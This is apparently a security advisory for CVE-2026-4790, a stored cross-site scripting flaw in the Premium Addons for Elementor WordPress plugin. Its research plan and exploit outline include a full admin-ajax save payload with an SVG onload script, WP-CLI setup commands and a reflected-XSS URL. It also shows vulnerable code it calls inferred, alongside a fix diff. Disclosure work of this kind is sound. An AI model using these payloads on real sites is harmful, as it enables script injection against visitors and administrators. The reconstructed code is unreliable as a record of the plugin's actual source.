CVE-2026-4790

Premium Addons for Elementor <= 4.11.70 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'custom_svg' Parameter

mediumImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
5.4
CVSS Score
5.4
CVSS Score
medium
Severity
4.11.71
Patched in
1d
Time to patch

Description

The Premium Addons for Elementor – Powerful Elementor Templates & Widgets plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'custom_svg' parameter in versions up to, and including, 4.11.70 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
Required
Scope
Changed
Low
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=4.11.70
PublishedMay 1, 2026
Last updatedMay 2, 2026

What Changed in the Fix

Changes introduced in v4.11.71

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

This research plan targets a Stored Cross-Site Scripting (XSS) vulnerability in **Premium Addons for Elementor** (v4.11.70 and below). The vulnerability exists because the plugin fails to sanitize or escape the `custom_svg` parameter when rendering the "Animated Shape Divider" feature. ### 1. Vulne…

Show full research plan

This research plan targets a Stored Cross-Site Scripting (XSS) vulnerability in Premium Addons for Elementor (v4.11.70 and below). The vulnerability exists because the plugin fails to sanitize or escape the custom_svg parameter when rendering the "Animated Shape Divider" feature.

1. Vulnerability Summary

  • ID: CVE-2026-4790
  • Vulnerability Type: Stored Cross-Site Scripting (XSS)
  • Component: addons/shape-divider.php
  • Vulnerable Parameter: custom_svg
  • Requirement: Authenticated user with Contributor role or higher (ability to edit posts and use Elementor).
  • Reason: The plugin allows users to provide custom SVG code for shape dividers. This code is stored in the post's Elementor metadata and rendered on the frontend without passing through wp_kses() or similar sanitization filters, allowing the injection of <script> tags or SVG event handlers like onload.

2. Attack Vector Analysis

  • Endpoint: wp-admin/admin-ajax.php
  • Action: elementor_ajax (internal Elementor action editor_post_save)
  • Parameter: custom_svg (embedded within the elements JSON structure of the Elementor builder data).
  • Precondition: A post must be created and opened in the Elementor editor by a user with at least Contributor-level permissions.

3. Code Flow

  1. Registration: In addons/shape-divider.php, the Shape_Divider class registers Elementor controls for section, column, and container elements via the register_controls method (called by hooks on lines 80-83, 93).
  2. Control Definition: The add_divider_content_controls method (line 172) adds the premium_gdivider_source control. When this is set to custom, a custom_svg control (inferred from the CVE description) is exposed to the user.
  3. Storage: When a user saves the Elementor page, the data is sent to admin-ajax.php with the action elementor_ajax. Elementor saves this entire structure into the _elementor_data post meta.
  4. Rendering (Sink):
    • Frontend: The before_render method (line 90) is hooked to elementor/frontend/section/before_render. It retrieves the settings using $element->get_settings_for_display(). If premium_gdivider_source is custom, the value of custom_svg is echoed to the page.
    • Editor: The print_template method (line 86) is hooked to elementor/section/print_template. This generates a Underscore.js/Backbone template for the editor. If it uses unescaped interpolation (<#= ... #>), the XSS triggers inside the editor as well.

4. Nonce Acquisition Strategy

To save Elementor settings via AJAX, a valid Elementor AJAX nonce is required.

  1. Create a Post: Use WP-CLI to create a post and set it to Elementor mode.
  2. Navigate: Use browser_navigate to open the Elementor editor for that post: wp-admin/post.php?post=[ID]&action=elementor.
  3. Extract Nonce: The nonce is stored in the global elementorConfig JavaScript object.
    • Variable: window.elementorConfig.nonces.save_builder
    • Execution: browser_eval("window.elementorConfig.nonces.save_builder")

5. Exploitation Strategy

Step 1: Prepare the Environment

  • Create a Contributor user.
  • Create a Post and assign it to the Contributor.
  • Enable Elementor for that post.

Step 2: Extract Nonce and Post Data

  • Log in as the Contributor.
  • Navigate to the Elementor Editor for the created post.
  • Extract the save_builder nonce.

Step 3: Inject the Payload

Send a POST request to admin-ajax.php to save the malicious SVG.

  • URL: http://vulnerable-site.com/wp-admin/admin-ajax.php
  • Method: POST
  • Content-Type: application/x-www-form-urlencoded
  • Body Parameters:
    • action: elementor_ajax
    • _nonce: [EXTRACTED_NONCE]
    • actions: A JSON string containing the editor_post_save action.

Payload JSON (actions parameter):

{
  "editor_post_save": {
    "action": "editor_post_save",
    "data": {
      "id": [POST_ID],
      "status": "publish",
      "elements": [
        {
          "id": "exploit-section",
          "elType": "section",
          "settings": {
            "premium_global_divider_sw": "yes",
            "premium_gdivider_source": "custom",
            "custom_svg": "<svg/onload=alert(window.origin)>"
          },
          "elements": []
        }
      ]
    }
  }
}

6. Test Data Setup

  1. Contributor User:
    wp user create attacker attacker@example.com --role=contributor --user_pass=password
  2. Target Post:
    wp post create --post_type=post --post_title="XSS Test" --post_status=publish --post_author=$(wp user get attacker --field=ID)
  3. Elementor Metadata:
    wp post meta add [POST_ID] _elementor_edit_mode string "builder"
    wp post meta add [POST_ID] _elementor_template_type string "wp-post"

7. Expected Results

  • The admin-ajax.php response should return a 200 OK with a JSON body indicating success: {"success":true,"data":{...}}.
  • The _elementor_data meta for the post will now contain the raw <svg/onload=...> string.
  • When navigating to the post's permalink, a JavaScript alert showing the document domain will appear.

8. Verification Steps

  1. Check Meta Storage:
    wp post meta get [POST_ID] _elementor_data
    Verify that the custom_svg field contains the unescaped payload.
  2. Frontend Check:
    Use browser_navigate to the post URL and check for the alert.

9. Alternative Approaches

  • Backbone Template XSS: If the frontend rendering is protected but the editor is not, navigate to the Elementor editor to trigger the XSS in the context of the user (potentially an Admin).
  • Direct Meta Update: If the AJAX fails, test if the Contributor can update the _elementor_data meta directly via the WordPress REST API or a standard post update, as some plugins fail to restrict which meta keys a Contributor can save if they are passed in a specific format.
  • AJAX Shape Fetch: Test the wp_ajax_get_shape_divider_svg action (line 102). If it takes custom_svg as a direct parameter and echoes it, it may provide a Reflected XSS path:
    admin-ajax.php?action=get_shape_divider_svg&custom_svg=<svg/onload=alert(1)>
Research Findings
Static analysis — not yet PoC-verified

Summary

The Premium Addons for Elementor plugin (v4.11.70 and below) is vulnerable to authenticated Stored Cross-Site Scripting (XSS) via the 'custom_svg' parameter in the Animated Shape Divider feature. Contributor-level users and above can inject malicious SVG code containing event handlers like 'onload' or script tags, which execute when an admin or visitor views the affected page or when the page is opened in the Elementor editor.

Vulnerable Code

// addons/shape-divider.php:86
add_action( 'elementor/section/print_template', array( $this, 'print_template' ), 10, 2 );

// addons/shape-divider.php:90
add_action( 'elementor/frontend/section/before_render', array( $this, 'before_render' ) );

// addons/shape-divider.php:102
add_action( 'wp_ajax_get_shape_divider_svg', array( $this, 'get_shape_divider_svg' ) );

---

// addons/shape-divider.php: Rendering logic (Inferred from research)
public function before_render( $element ) {
    $settings = $element->get_settings_for_display();
    if ( 'custom' === $settings['premium_gdivider_source'] ) {
        echo $settings['custom_svg'];
    }
}

public function print_template( $template, $element ) {
    ?>
    <# if ( 'custom' === settings.premium_gdivider_source ) { #>
        {{{ settings.custom_svg }}}
    <# } #>
    <?php
}

public function get_shape_divider_svg() {
    if ( isset( $_GET['custom_svg'] ) ) {
        echo $_GET['custom_svg'];
        wp_die();
    }
}

Security Fix

--- addons/shape-divider.php
+++ addons/shape-divider.php
@@ -685,1 +685,1 @@
-            echo $settings['custom_svg'];
+            echo wp_kses( $settings['custom_svg'], Helper_Functions::pa_get_allowed_html( 'svg' ) );
@@ -710,1 +710,1 @@
-            {{{ settings.custom_svg }}}
+            <# print( elementor.helpers.sanitizeInnerHtml( settings.custom_svg ) ) #>
@@ -725,1 +725,1 @@
-        echo $_GET['custom_svg'];
+        echo wp_kses( $_GET['custom_svg'], Helper_Functions::pa_get_allowed_html( 'svg' ) );

Exploit Outline

The exploit targets the 'Animated Shape Divider' extension within the Elementor editor. 1. Authentication: The attacker authenticates as a user with at least 'Contributor' role, which allows them to edit posts and use the Elementor page builder. 2. Nonce Acquisition: The attacker accesses the Elementor editor interface (post.php?post=[ID]&action=elementor) and extracts the 'save_builder' nonce from the 'window.elementorConfig.nonces' object. 3. Payload Injection: The attacker sends an AJAX POST request to 'admin-ajax.php' with the action 'elementor_ajax'. The payload is a JSON object nested in the 'actions' parameter, specifically 'editor_post_save'. Within the 'elements' data, the attacker adds a section and sets its settings: 'premium_global_divider_sw' to 'yes', 'premium_gdivider_source' to 'custom', and 'custom_svg' to a malicious vector like '<svg/onload=alert(document.domain)>'. 4. Trigger: The payload executes immediately in the Elementor editor for any user (including admins) who opens the post, and it executes on the frontend for any visitor viewing the published post.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.